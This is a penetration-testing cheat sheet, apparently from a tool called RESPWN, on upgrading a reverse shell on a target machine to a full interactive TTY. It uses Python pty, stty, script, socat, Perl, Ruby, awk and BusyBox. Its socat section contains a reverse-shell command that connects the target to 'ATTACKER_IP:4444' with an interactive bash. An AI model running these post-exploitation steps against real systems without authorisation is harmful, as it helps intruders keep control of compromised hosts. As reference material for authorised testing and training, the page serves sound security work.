Interactive TTY Shell
Upgrade from a non-interactive shell to a fully interactive PTY. Required right after landing a reverse shell — without a TTY, su fails, arrow keys emit garbage, Ctrl+C drops the connection, and text editors are unusable.
Python PTY Spawn
Creates a pseudo-terminal (PTY) using Python's built-in module. The `pty` module calls `openpty()` to allocate a new master/slave TTY pair, then spawns bash inside the slave TTY. Result: a shell that behaves like a normal login terminal — arrow keys work, tab completion fires, su works, and Ctrl+C sends SIGINT to the foreground process instead of dropping the connection.
python3 -c 'import pty;pty.spawn("/bin/bash")'
Python2:
python -c 'import pty;pty.spawn("/bin/bash")'
When to use: Right after getting a reverse shell — do this before attempting su, sudo, or opening an editor
stty raw -echo + fg (Upgrade to Full TTY)
`stty raw` disables line processing on the attacker's local terminal — input is sent byte-by-byte without buffering. `-echo` stops typed characters from appearing twice. `fg` brings the reverse shell back to foreground. Result: full PTY with arrow keys, history (Ctrl+R), terminal resize, and every normal terminal feature. `export TERM=xterm` tells the shell which terminal type to use so escape codes work. `stty rows/columns` matches the size so editors like vim know the screen dimensions.
# Step 1: Spawn PTY in the target shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Step 2: Background the shell (press CTRL+Z in the attacker terminal)
# Step 3: In the attacker LOCAL terminal, run:
stty raw -echo; fg
# Step 4: After the shell returns, set the terminal:
export TERM=xterm
stty rows 40 columns 160
When to use: After Python PTY Spawn worked — this is the follow-up step to get a true full TTY
Note: Step 3 runs in the attacker LOCAL terminal before fg, NOT inside the target shell
Script Command
The `script` utility normally records a terminal session to a file. With output to `/dev/null` and command `bash`, it creates a new PTY without saving any recording. Does not depend on Python — uses the `openpty()` syscall directly via a C binary. Same effect as Python PTY: bash runs inside a PTY so interactive features are active. Variant 2 with `-q` (quiet) fits distros where the argument order differs.
script /dev/null -c bash
Variant 2 (some distros):
script -qc /bin/bash /dev/null
When to use: Use when python3 and python are missing — check with: which python3 python
Bash Interactive Mode
The `-i` flag forces bash into interactive mode: the PS1 prompt appears, ~/.bashrc loads, command history works, and partial job control kicks in. This is NOT a real PTY — the shell still has no controlling terminal, so `su` and editors like vim may still fail. But enough to run basic commands more comfortably.
/bin/bash -i
sh variant:
/bin/sh -i
When to use: Quick fix when Python and script are unavailable. Upgrade to a PTY when possible.
Socat Full TTY
Socat bridges two streams. On the attacker: `file:`tty`` = the local terminal TTY, `raw` = disable line processing, `echo=0` = silence echo. On the target: `exec:bash -li` = spawn an interactive login bash, `pty` = allocate a PTY, `stderr` = merge stderr into stdout, `setsid` = create a new session (bash becomes the process leader), `sigint` = forward CTRL+C to bash, `sane` = reset terminal settings to sensible defaults. Result: identical to an SSH connection — top-quality terminal, no stty upgrade needed.
socat file:`tty`,raw,echo=0 tcp-listen:4444
On the target (run after the listener is up):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444
When to use: When socat is available on the target. Check: which socat. Best quality, no extra steps required.
Note: Run the listener command on the attacker FIRST, then run the target command
Perl
Perl's `exec()` replaces the current Perl process with `/bin/bash` using the `execve()` syscall. The resulting bash inherits file descriptors from the previous shell, including the reverse-shell TCP connection. Perl is often installed on legacy web servers (CGI scripts) and older Linux systems that may not have Python.
perl -e 'exec "/bin/bash";'
When to use: When Python is missing but Perl is available — check: which perl
Ruby
Same as Perl — Ruby's `exec()` replaces the Ruby process with bash via `execve()`. Ruby is common on Ruby on Rails servers and developer systems. Less common than Python/Perl but worth trying.
ruby -e 'exec "/bin/bash"'
When to use: When Python and Perl are missing but Ruby is available — check: which ruby
Awk
awk's `system()` runs a shell command using `fork()+exec()` and waits for it. Awk is a text-processing tool that is almost always present on every Linux system — including minimal systems without higher-level language interpreters. Rarely missing.
awk 'BEGIN {system("/bin/bash")}'
When to use: Last resort — awk is practically guaranteed on any Linux system
BusyBox Shell
BusyBox is a single binary implementing hundreds of Unix utilities (sh, ls, cat, wget, etc.) in a tiny footprint. Used on embedded systems, routers, and minimal containers. `busybox sh` invokes BusyBox's POSIX shell implementation, which supports interactive mode. Useful on Alpine Linux or minimal Docker containers without bash.
busybox sh
When to use: Minimal Docker containers, Alpine Linux, embedded systems, or routers
← RESPWN Dashboard
